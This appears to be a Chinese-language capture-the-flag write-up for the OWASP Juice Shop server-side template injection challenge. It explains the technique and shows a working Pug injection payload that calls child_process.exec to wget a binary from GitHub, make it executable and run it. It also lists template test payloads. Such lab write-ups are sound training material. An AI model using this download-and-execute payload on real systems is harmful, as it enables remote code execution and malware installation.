【juice-shop】★★★★★★ SSTi:通过服务端模板注入执行任意命令感染服务器

通过发现用户名字段存在服务端模板注入漏洞,利用 Node.js 的 child_process 模块执行任意系统命令,让服务器下载并执行 juicy malware,完成远程代码执行挑战。

【juice-shop】★★★★★★ SSTi:通过服务端模板注入执行任意命令感染服务器

0x01 任务简报

🎯 挑战目标
通过利用任意命令执行,以恶意软件 juicy(juicy malware)感染服务器。
💡 官方提示 (Hints)
1. "SSTi" 清楚地表明这与 Angular 无关。另外,请确保仅使用我们的非恶意恶意软件。
2. 你既可以通过显而易见的谷歌搜索找到这些恶意软件,也可能偶然闯入某个位置极不恰当的隔离文件夹——里面恰好存放着所需的 URL 链接。
3. 让服务器下载并执行恶意软件是解决这一挑战的关键。
4. 本次挑战中,您无需以任何形式对恶意软件进行逆向工程。该操作将在后续解决"通过服务器请求服务器上的隐藏资源"挑战时被要求。

0x02 前置知识

什么是 SSTi(Server-Side Template Injection)

服务端模板注入是一种攻击方式,攻击者通过向模板引擎注入恶意代码,使服务器执行任意代码。

工作原理:

1
2
3
4
5
6
7
8
9
正常模板渲染:
模板: "Hello, {{username}}!"
输入: "Alice"
输出: "Hello, Alice!"

SSTi 注入:
模板: "Hello, {{username}}!"
输入: "{{7*7}}"
输出: "Hello, 49!"  ← 模板引擎执行了计算!

常见模板引擎的注入语法

模板引擎 语言 测试 Payload 预期输出
Jinja2 Python {{7*7}} 49
Twig PHP {{7*7}} 49
Pebble Java {{7*7}} 49
Freemarker Java ${7*7} 49
Velocity Java #set($x=7*7)${x} 49
Handlebars Node.js {{#with "7*7"}}{{this}}{{/with}} 7*7
Pug/Jade Node.js #{7*7} 49

本挑战使用的是 Pug 模板引擎(Node.js)


0x03 实战:复现漏洞

步骤1:发现 SSTi 注入点

在用户个人资料页面的用户名字段中,尝试输入模板注入测试 Payload:

测试 Payload:

1
#{1+1}

结果: 用户名显示为 2 而不是 #{1+1},说明模板引擎执行了计算!

SSTi 测试

结论: 用户名字段存在 SSTi 漏洞,使用的是 Pug 模板引擎

步骤2:寻找 juicy malware

方法1:Google 搜索

搜索关键词:juicy malware juice shop

找到 GitHub 项目:

1
https://github.com/juice-shop/juicy-malware

方法2:访问隔离文件夹

访问应用的隔离目录:

1
http://127.0.0.1:3000/ftp/quarantine

该目录中包含 juicy malware 的 GitHub 链接。

步骤3:构造命令执行 Payload

利用 Node.js 的 child_process 模块执行系统命令:

1
#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}

Payload 分解:

部分 说明
#{} Pug 模板引擎的表达式语法
global.process Node.js 全局进程对象
mainModule 主模块引用
require('child_process') 加载系统命令执行模块
.exec(...) 执行系统命令
wget -O malware ... 下载 malware 文件
chmod +x malware 赋予执行权限
./malware 执行 malware

命令执行流程:

1
2
3
4
5
6
7
8
# 第一步:下载 malware
wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true

# 第二步:赋予执行权限
chmod +x malware

# 第三步:执行 malware
./malware

步骤4:提交 Payload

将构造的 Payload 填入用户名字段并保存:

1
#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}

结果: 服务器下载并执行了 juicy malware,挑战完成!🎉

参考资源

使用 Hugo 构建
主题 StackJimmy 设计